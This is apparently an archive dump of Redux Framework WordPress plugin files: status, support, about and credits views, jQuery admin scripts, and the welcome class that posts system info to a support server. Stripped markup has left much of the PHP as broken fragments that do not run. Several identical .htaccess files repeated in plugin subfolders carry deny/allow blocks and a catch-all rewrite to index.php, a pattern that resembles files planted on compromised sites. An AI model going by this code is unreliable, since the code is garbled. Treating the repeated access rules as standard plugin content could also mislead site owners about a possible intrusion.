RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/welcome/views/status_report.php000064400000131344147206624460017445 0ustar00

    actions(); ?> tabs(); ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : uploads directory. This directory must be writable.', 'redux-framework' ) . '">[?]'; ?> ' . '✔ ' . esc_html($sysinfo['redux_data_dir']) . ' '; } else { printf( '' . '✕ ' . __( 'To allow data saving, make %s writable.', 'redux-framework' ) . '', esc_html($sysinfo['redux_data_dir']) ); } ?>
    : [?]'; ?> ' . esc_url($sysinfo['wp_content_url']) . ' '; ?>
    : [?]'; ?>
    : [?]'; ?>
    : Permalinks.', 'redux-framework' ) . '">[?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . sprintf( __( '%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP', 'redux-framework' ), esc_html($sysinfo['wp_mem_limit']['size']), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP' ) . ''; } else { echo '' . esc_html($sysinfo['wp_mem_limit']['size']) . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> $value ) { echo '' . esc_html(ucfirst( $key )) . ': ' . esc_html($value) . '
    '; } ?>
    [?]'; if ( $sysinfo['fsockopen_curl'] === 'true' ) { $posting['fsockopen_curl']['success'] = true; } else { $posting['fsockopen_curl']['success'] = false; $posting['fsockopen_curl']['note'] = esc_html__( 'Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.', 'redux-framework' ) . ''; } /* // SOAP $posting['soap_client']['name'] = 'SoapClient'; $posting['soap_client']['help'] = '[?]'; if ( $sysinfo['soap_client'] == true ) { $posting['soap_client']['success'] = true; } else { $posting['soap_client']['success'] = false; $posting['soap_client']['note'] = sprintf( __( 'Your server does not have the SOAP Client class enabled - some gateway plugins which use SOAP may not work as expected.', 'redux-framework' ), 'http://php.net/manual/en/class.soapclient.php' ) . ''; } // DOMDocument $posting['dom_document']['name'] = 'DOMDocument'; $posting['dom_document']['help'] = '[?]'; if ( $sysinfo['dom_document'] == true ) { $posting['dom_document']['success'] = true; } else { $posting['dom_document']['success'] = false; $posting['dom_document']['note'] = sprintf( __( 'Your server does not have the DOMDocument class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument.', 'redux-framework' ), 'http://php.net/manual/en/class.domdocument.php' ) . ''; } */ //// GZIP //$posting['gzip']['name'] = 'GZip'; //$posting['gzip']['help'] = '[?]'; // //if ( $sysinfo['gzip'] == true ) { // $posting['gzip']['success'] = true; //} else { // $posting['gzip']['success'] = false; // $posting['gzip']['note'] = sprintf( __( 'Your server does not support the gzopen function - this is required to use the GeoIP database from MaxMind. The API fallback will be used instead for geolocation.', 'redux-framework' ), 'http://php.net/manual/en/zlib.installation.php' ) . ''; //} // WP Remote Post Check $posting['wp_remote_post']['name'] = esc_html__( 'Remote Post', 'redux-framework' ); $posting['wp_remote_post']['help'] = '[?]'; if ( $sysinfo['wp_remote_post'] === 'true' ) { $posting['wp_remote_post']['success'] = true; } else { $posting['wp_remote_post']['note'] = esc_html__( 'wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.', 'redux-framework' ); if ( $sysinfo['wp_remote_post_error'] ) { $posting['wp_remote_post']['note'] .= ' ' . sprintf( __( 'Error: %s', 'redux-framework' ), redux_clean( $sysinfo['wp_remote_post_error'] ) ); } $posting['wp_remote_post']['success'] = false; } // WP Remote Get Check $posting['wp_remote_get']['name'] = esc_html__( 'Remote Get', 'redux-framework' ); $posting['wp_remote_get']['help'] = '[?]'; if ( $sysinfo['wp_remote_get'] === 'true' ) { $posting['wp_remote_get']['success'] = true; } else { $posting['wp_remote_get']['note'] = esc_html__( 'wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.', 'redux-framework' ); if ( $sysinfo['wp_remote_get_error'] ) { $posting['wp_remote_get']['note'] .= ' ' . sprintf( __( 'Error: %s', 'redux-framework' ), redux_clean( $sysinfo['wp_remote_get_error'] ) ); } $posting['wp_remote_get']['success'] = false; } $posting = apply_filters( 'redux_debug_posting', $posting ); foreach ( $posting as $post ) { $mark = ! empty( $post['success'] ) ? 'yes' : 'error'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . esc_html($sysinfo['abspath']) . ''; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?> ' . '✔' . ''; } else { echo '' . '–' . ''; } ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✕ ' . sprintf( __( 'Default timezone is %s - it should be UTC', 'redux-framework' ), esc_html(date_default_timezone_get()) ) . ''; } else { echo '' . '✔' . ''; } ?>
    :
    $plugin_data ) { $version_string = ''; $network_string = ''; if ( ! empty( $plugin_data['Name'] ) ) { // link the plugin name to the plugin url if available $plugin_name = esc_html( $plugin_data['Name'] ); if ( ! empty( $plugin_data['PluginURI'] ) ) { $plugin_name = '' . esc_html($plugin_name) . ''; } ?>
    ()
     
    $data ) { $inst_name = ucwords( str_replace( array( '_', '-' ), ' ', $inst ) ); $args = $data['args']; ?> $found_plugin_files ) { ?>
    opt_name: [?]'; ?>
    global_variable: [?]'; ?>
    dev_mode: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    ajax_save: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    page_slug: [?]'; ?>
    page_permissions: [?]'; ?>
    menu_type: [?]'; ?>
    page_parent: [?]'; ?>
    compiler: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    output: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    output_tag: [?]'; ?> ' . '✔' . '' : '' . '–' . ''; ?>
    template_path: [?]'; ?> ' . esc_html($args['templates_path']) . ''; ?>
    Templates: [?]'; ?> ', $found_plugin_files ); ?>
    Extensions [?]'; ?> $arr ) { $ver = $arr['version']; echo '' . ucwords( str_replace( array( '_', '-' ), ' ', $name ) ) . ' - ' . esc_html($ver); ?>
    : [?]'; ?>
    : [?]'; ?> Version, '!=' ) ) { echo ' – ' . esc_html($theme_version_data['version']) . ' ' . esc_html__( 'is available', 'redux-framework' ) . ''; } ?>
    : [?]'; ?>
    : [?]'; ?> ' . '✔' . '' : '✕
    ' . sprintf( __( 'If you\'re modifying Redux Framework or a parent theme you didn\'t build personally, we recommend using a child theme. See: How to create a child theme', 'redux-framework' ), 'http://codex.wordpress.org/Child_Themes' ) . ''; ?>
    : [?]'; ?>
    : [?]'; ?>
    : [?]'; ?>
    lib/redux-framework/inc/welcome/views/extensions.php000064400000012325147206624460016723 0ustar00 social profiles => js button => multi media => css layout => color schemes => adjust-alt custom fonts => fontsize code mirror => view-mode live search => search support faq's => question date time picker => premium support => metaboxes => widget areas => shortcodes => icon select => gallery tracking => * */ $iconMap = array( 'repeater' => 'tags', 'social-profiles' => 'group', 'js-button' => 'hand-down', 'multi-media' => 'picture', 'css-layout' => 'fullscreen', 'color-schemes' => 'adjust-alt', 'custom-fonts' => 'fontsize', //'codemirror' => 'view-mode', 'live-search' => 'search', 'support-faqs' => 'question', 'date-time' => 'calendar', 'premium-support' => 'fire', 'metaboxes' => 'magic', 'widget-areas' => 'inbox-box', 'shortcodes' => 'shortcode', 'icon-select' => 'gallery', 'accordion' => 'lines' ); $colors = array( '8CC63F', '8CC63F', '0A803B', '25AAE1', '0F75BC', 'F7941E', 'F1592A', 'ED217C', 'BF1E2D', '8569CF', '0D9FD8', '8AD749', 'EECE00', 'F8981F', 'F80E27', 'F640AE' ); shuffle( $colors ); echo ''; $color = 1; ?>

    display_version) ); ?>
    actions(); ?> tabs(); ?>

    $extension ) { ?>
    lib/redux-framework/inc/welcome/views/credits.php000064400000002020147206624460016150 0ustar00

    actions(); ?> tabs(); ?>

    Contribute to Redux.', 'redux-framework' ), 'https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md' );?>

    contributors()); ?>
    lib/redux-framework/inc/welcome/views/about.php000064400000007632147206624460015643 0ustar00

    display_version ); ?>

    display_version ); ?>
    actions(); ?> tabs(); ?>

    Ajax Saving & More Speed!

    This version the fastest Redux ever released. We've integrated ajax_saving as well as many other speed improvements to make Redux even surpass the load time of SMOF even with large panels.

    The New Redux API

    We've gone back to the drawing boards and made Redux the simplest framework to use. Introducing the Redux API. Easily add fields, extensions, templates, and more without every having to define a class! Learn More

    Security Improvments

    Thanks to the help of James Golovich (Pritect), we have patched varying security flaws in Redux. This is the most secure version of Redux yet!

    Panel Templates

    Now developers can easily customize the Redux panel by declaring a templates location path. We've also made use of template versioning so if we change anything, you will know.
    Learn More

    Full Width for ANY Field

    Any field can now be set to full width! Just set the full_width argument and your field will expand to the full width of your panel or metabox.

    Elusive Icons Update

    Redux is now taking over development of Elusive Icons. As a result, we've refreshed our copy of Elusive to the newest version.

    lib/redux-framework/inc/welcome/views/changelog.php000064400000001463147206624460016454 0ustar00

    actions(); ?> tabs(); ?>
    parse_readme()); ?>
    lib/redux-framework/inc/welcome/views/.htaccess000064400000001626147206624460015613 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/welcome/views/support.php000064400000016345147206624460016246 0ustar00

    actions(); ?> tabs(); ?>

    Status tab.', 'redux-framework' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( admin_url( 'tools.php?page=redux-status' ) ) ); ?>





    '; foreach ( $redux as $panel ) { echo ' ' . esc_html($panel->args['display_name']) . ''; if ( ! empty( $panel->args['display_version'] ) ) { echo ' v' . esc_html($panel->args['display_version']); } echo ' 
    '; } echo '
    '; } ?>

    following article before asking for support from us directly.', 'redux-framework' ), array( 'a' => array( 'href' => array() ) ) ), esc_url( 'http://docs.reduxframework.com/core/support-defined/' ) );?>

    lib/redux-framework/inc/welcome/js/redux-welcome-admin.js000064400000026725147206624460017507 0ustar00(function( $ ) { 'use strict'; $.redux_welcome = $.redux_welcome || {}; $( document ).ready( function() { $.redux_welcome.initQtip(); if ( jQuery( document.getElementById( "support_div" ) ).is( ":visible" ) ) { $.redux_welcome.initSupportPage(); } $.redux_welcome.supportHash(); } ); $.redux_welcome.supportHash = function() { jQuery( "#support_hash" ).focus( function() { var $this = jQuery( this ); $this.select(); // Work around Chrome's little problem $this.mouseup( function() { // Prevent further mouseup intervention $this.unbind( "mouseup" ); return false; } ); } ); jQuery( '.redux_support_hash' ).click( function( e ) { var $button = jQuery( this ); if ( $button.hasClass( 'disabled' ) ) { return; } var $nonce = jQuery( '#redux_support_nonce' ).val(); $button.addClass( 'disabled' ); $button.parent().append( '' ); $button.closest( '.spinner' ).fadeIn(); if ( !window.console ) console = {}; console.log = console.log || function( name, data ) {}; jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: "redux_support_hash", nonce: $nonce }, error: function( response ) { console.log( response ); $button.removeClass( 'disabled' ); $button.parent().find( '.spinner' ).remove(); alert( 'There was an error. Please try again later.' ); }, success: function( response ) { if ( response.status == "success" ) { jQuery( '#support_hash' ).val( 'http://support.redux.io/?id=' + response.identifier ); $button.parents( 'fieldset:first' ).find( '.next' ).removeAttr( 'disabled' ).click(); } else { console.log( response ); alert( 'There was an error. Please try again later.' ); } } } ); e.preventDefault(); } ); }; $.redux_welcome.initSupportPage = function() { //jQuery time var current_fs, next_fs, previous_fs; //fieldsets var left, opacity, scale; //fieldset properties which we will animate var animating; //flag to prevent quick multi-click glitches $.fn.actualHeight = function() { // find the closest visible parent and get it's hidden children var visibleParent = this.closest( ':visible' ).children(), thisHeight; // set a temporary class on the hidden parent of the element visibleParent.addClass( 'temp-show' ); // get the height thisHeight = this.height(); // remove the temporary class visibleParent.removeClass( 'temp-show' ); return thisHeight; }; function setHeight() { var $height = 0; jQuery( document ).find( '#support_div fieldset' ).each( function() { var $actual = $( this ).actualHeight(); if ( $height < $actual ) { $height = $actual; } } ); jQuery( '#support_div' ).height( $height + 20 ); } setHeight(); $( window ).on( 'resize', function() { setHeight(); } ); jQuery( '#is_user' ).click( function() { jQuery( '#final_support .is_user' ).show(); jQuery( '#final_support .is_developer' ).hide(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).click(); } ); jQuery( '#is_developer' ).click( function() { jQuery( '#final_support .is_user' ).hide(); jQuery( '#final_support .is_developer' ).show(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).click(); } ); jQuery( "#support_div .next" ).click( function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); next_fs = jQuery( this ).parent().next(); //activate next step on progressbar using the index of next_fs jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( next_fs ) ).addClass( "active" ); //show the next fieldset next_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale current_fs down to 80% scale = 1 - (1 - now) * 0.2; //2. bring next_fs from the right(50%) left = (now * 50) + "%"; //3. increase opacity of next_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'transform': 'scale(' + scale + ')'} ); next_fs.css( {'left': left, 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); jQuery( "#support_div .previous" ).click( function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); previous_fs = jQuery( this ).parent().prev(); //de-activate current step on progressbar jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( current_fs ) ).removeClass( "active" ); //show the previous fieldset previous_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale previous_fs from 80% to 100% scale = 0.8 + (1 - now) * 0.2; //2. take current_fs to the right(50%) - from 0% left = ((1 - now) * 50) + "%"; //3. increase opacity of previous_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'left': left} ); previous_fs.css( {'transform': 'scale(' + scale + ')', 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); } $.redux_welcome.initQtip = function() { if ( $().qtip ) { var shadow = 'qtip-shadow'; var color = 'qtip-dark'; var rounded = ''; var style = ''; //qtip-bootstrap'; var classes = shadow + ',' + color + ',' + rounded + ',' + style; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = 'top center'; var atPos = 'bottom center'; // Tooltip trigger action var showEvent = 'click'; var hideEvent = 'click mouseleave'; // Tip show effect var tipShowEffect = 'slide'; var tipShowDuration = '500'; // Tip hide effect var tipHideEffect = 'slide'; var tipHideDuration = '500'; $( '.redux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).show( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); } }; })( jQuery );lib/redux-framework/inc/welcome/js/jquery.easing.min.js000064400000012653147206624460017202 0ustar00/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - EASING EQUATIONS * * Open source under the BSD License. * * Copyright © 2001 Robert Penner * All rights reserved. * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/welcome/welcome.php000064400000054021147206624460015021 0ustar00redux_loaded ) { return; } $this->redux_loaded = true; add_action( 'admin_menu', array( $this, 'admin_menus' ) ); if ( isset( $_GET['page'] ) ) { if ( substr( $_GET['page'], 0, 6 ) == "redux-" ) { $version = explode( '.', ReduxFramework::$_version ); $this->display_version = $version[0] . '.' . $version[1]; add_filter( 'admin_footer_text', array( $this, 'change_wp_footer' ) ); add_action( 'admin_head', array( $this, 'admin_head' ) ); } else { $this->check_version(); } } else { $this->check_version(); } update_option( 'redux_version_upgraded_from', ReduxFramework::$_version ); } public function check_version() { global $pagenow; if ( $pagenow == "admin-ajax.php" || ( $GLOBALS['pagenow'] == "customize" && isset( $_GET['theme'] ) && ! empty( $_GET['theme'] ) ) ) { return; } $saveVer = Redux_Helpers::major_version( get_option( 'redux_version_upgraded_from' ) ); $curVer = Redux_Helpers::major_version( ReduxFramework::$_version ); $compare = false; if ( Redux_Helpers::isLocalHost() ) { $compare = true; } else if ( class_exists( 'ReduxFrameworkPlugin' ) ) { $compare = true; } else { $redux = ReduxFrameworkInstances::get_all_instances(); if ( is_array( $redux ) ) { foreach ( $redux as $panel ) { if ( $panel->args['dev_mode'] == 1 ) { $compare = true; break; } } } } if ( $compare ) { $redirect = false; if ( empty( $saveVer ) ) { $redirect = true; // First time } // Removing redirect except for the first time with the plugin installed. :) Less annoying until we actually use this page. //else if ( version_compare( $curVer, $saveVer, '>' ) ) { // $redirect = true; // Previous version //} if ( $redirect && ! defined( 'WP_TESTS_DOMAIN' ) && ReduxFramework::$_as_plugin ) { add_action( 'init', array( $this, 'do_redirect' ) ); } } } public function do_redirect() { if ( ! defined( 'WP_CLI' ) ) { wp_redirect( admin_url( 'tools.php?page=redux-about' ) ); exit(); } } public function change_wp_footer() { echo __( 'If you like Redux please leave us a ★★★★★ rating. A huge thank you from Redux in advance!', 'redux-framework' ); } public function support_hash() { if ( ! wp_verify_nonce( $_POST['nonce'], 'redux-support-hash' ) ) { die(); } $data = get_option( 'redux_support_hash' ); $data = wp_parse_args( $data, array( 'check' => '', 'identifier' => '' ) ); $generate_hash = true; $system_info = Redux_Helpers::compileSystemStatus(); $newHash = md5( json_encode( $system_info ) ); $return = array(); if ( $newHash == $data['check'] ) { unset( $generate_hash ); } $post_data = array( 'hash' => md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ), 'site' => esc_url( home_url( '/' ) ), 'tracking' => Redux_Helpers::getTrackingObject(), 'system_status' => $system_info, ); //$post_data = json_encode( $post_data ); $post_data = serialize( $post_data ); if ( isset( $generate_hash ) && $generate_hash ) { $data['check'] = $newHash; $data['identifier'] = ""; $response = wp_remote_post( 'http://support.redux.io/v1/', array( 'method' => 'POST', 'timeout' => 65, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'compress' => true, 'headers' => array(), 'body' => array( 'data' => $post_data, 'serialize' => 1 ) ) ); if ( is_wp_error( $response ) ) { echo json_encode( array( 'status' => 'error', 'message' => $response->get_error_message() ) ); die( 1 ); } else { $response_code = wp_remote_retrieve_response_code( $response ); if ( $response_code == 200 ) { $response = wp_remote_retrieve_body( $response ); $return = json_decode( $response, true ); if ( isset( $return['identifier'] ) ) { $data['identifier'] = $return['identifier']; update_option( 'redux_support_hash', $data ); } } else { $response = wp_remote_retrieve_body( $response ); echo json_encode( array( 'status' => 'error', 'message' => $response ) ); } } } if ( ! empty( $data['identifier'] ) ) { $return['status'] = "success"; $return['identifier'] = $data['identifier']; } else { $return['status'] = "error"; $return['message'] = esc_html__( "Support hash could not be generated. Please try again later.", 'redux-framework' ); } echo json_encode( $return ); die( 1 ); } /** * Register the Dashboard Pages which are later hidden but these pages * are used to render the Welcome and Credits pages. * * @access public * @since 1.4 * @return void */ public function admin_menus() { $page = 'add_management_page'; // About Page $page( esc_html__( 'Welcome to Redux Framework', 'redux-framework' ), esc_html__( 'Redux Framework', 'redux-framework' ), $this->minimum_capability, 'redux-about', array( $this, 'about_screen' ) ); // Changelog Page $page( esc_html__( 'Redux Framework Changelog', 'redux-framework' ), esc_html__( 'Redux Framework Changelog', 'redux-framework' ), $this->minimum_capability, 'redux-changelog', array( $this, 'changelog_screen' ) ); // Support Page $page( esc_html__( 'Get Support', 'redux-framework' ), esc_html__( 'Get Support', 'redux-framework' ), $this->minimum_capability, 'redux-support', array( $this, 'get_support' ) ); // Support Page $page( esc_html__( 'Redux Extensions', 'redux-framework' ), esc_html__( 'Redux Extensions', 'redux-framework' ), $this->minimum_capability, 'redux-extensions', array( $this, 'redux_extensions' ) ); // Credits Page $page( esc_html__( 'The people that develop Redux Framework', 'redux-framework' ), esc_html__( 'The people that develop Redux Framework', 'redux-framework' ), $this->minimum_capability, 'redux-credits', array( $this, 'credits_screen' ) ); // Status Page $page( esc_html__( 'Redux Framework Status', 'redux-framework' ), esc_html__( 'Redux Framework Status', 'redux-framework' ), $this->minimum_capability, 'redux-status', array( $this, 'status_screen' ) ); //remove_submenu_page( 'tools.php', 'redux-about' ); remove_submenu_page( 'tools.php', 'redux-status' ); remove_submenu_page( 'tools.php', 'redux-changelog' ); remove_submenu_page( 'tools.php', 'redux-getting-started' ); remove_submenu_page( 'tools.php', 'redux-credits' ); remove_submenu_page( 'tools.php', 'redux-support' ); remove_submenu_page( 'tools.php', 'redux-extensions' ); } /** * Hide Individual Dashboard Pages * * @access public * @since 1.4 * @return void */ public function admin_head() { // Badge for welcome page //$badge_url = ReduxFramework::$_url . 'assets/images/redux-badge.png'; ?>

    '; require_once 'views/about.php'; } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function changelog_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once 'views/changelog.php'; } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function redux_extensions() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once 'views/extensions.php'; } /** * Render Get Support Screen * * @access public * @since 1.9 * @return void */ public function get_support() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once 'views/support.php'; } /** * Render Credits Screen * * @access public * @since 1.4 * @return void */ public function credits_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once 'views/credits.php'; } /** * Render Status Report Screen * * @access public * @since 1.4 * @return void */ public function status_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once 'views/status_report.php'; } /** * Parse the Redux readme.txt file * * @since 2.0.3 * @return string $readme HTML formatted readme file */ public function parse_readme() { if ( file_exists( ReduxFramework::$_dir . 'inc/fields/raw/parsedown.php' ) ) { require_once ReduxFramework::$_dir . 'inc/fields/raw/parsedown.php'; $Parsedown = new Parsedown(); $data = @wp_remote_get( ReduxFramework::$_url . '../CHANGELOG.md' ); if ( isset( $data ) && ! empty( $data ) ) { $data = @wp_remote_retrieve_body( $data ); return $Parsedown->text( trim( str_replace( '# Redux Framework Changelog', '', $data ) ) ); } } return ''; } public function actions() { ?>

    Docs Review Us Donate

    get_contributors(); if ( empty ( $contributors ) ) { return ''; } $contributor_list = ''; return $contributor_list; } /** * Retreive list of contributors from GitHub. * * @access public * @since 1.4 * @return array $contributors List of contributors */ public function get_contributors() { $contributors = get_transient( 'redux_contributors' ); if ( false !== $contributors ) { return $contributors; } $response = wp_remote_get( 'https://api.github.com/repos/ReduxFramework/redux-framework/contributors', array( 'sslverify' => false ) ); if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) { return array(); } $contributors = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! is_array( $contributors ) ) { return array(); } set_transient( 'redux_contributors', $contributors, 3600 ); return $contributors; } } new Redux_Welcome(); lib/redux-framework/inc/welcome/.htaccess000064400000001626147206624460014456 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/class.redux_functions.php000064400000026325147206624460016264 0ustar00args['dev_mode'] ) { $min = '.min'; } return $min; } /** * Sets a cookie. * Do nothing if unit testing. * * @since 3.5.4 * @access public * @return void * * @param string $name The cookie name. * @param string $value The cookie value. * @param integer $expire Expiry time. * @param string $path The cookie path. * @param string $domain The cookie domain. * @param boolean $secure HTTPS only. * @param boolean $httponly Only set cookie on HTTP calls. */ public static function setCookie( $name, $value, $expire, $path, $domain, $secure , $httponly = false ) { if ( ! defined( 'WP_TESTS_DOMAIN' ) ) { setcookie( $name, $value, $expire, $path, $domain, $secure, $httponly ); } } /** * Parse CSS from output/compiler array * * @since 3.2.8 * @access private * @return $css CSS string */ public static function parseCSS( $cssArray = array(), $style = '', $value = '' ) { // Something wrong happened if ( count( $cssArray ) == 0 ) { return; } else { //if ( count( $cssArray ) >= 1 ) { $css = ''; foreach ( $cssArray as $element => $selector ) { // The old way if ( $element === 0 ) { $css = self::theOldWay( $cssArray, $style ); return $css; } // New way continued $cssStyle = $element . ':' . $value . ';'; $css .= $selector . '{' . $cssStyle . '}'; } } return $css; } private static function theOldWay( $cssArray, $style 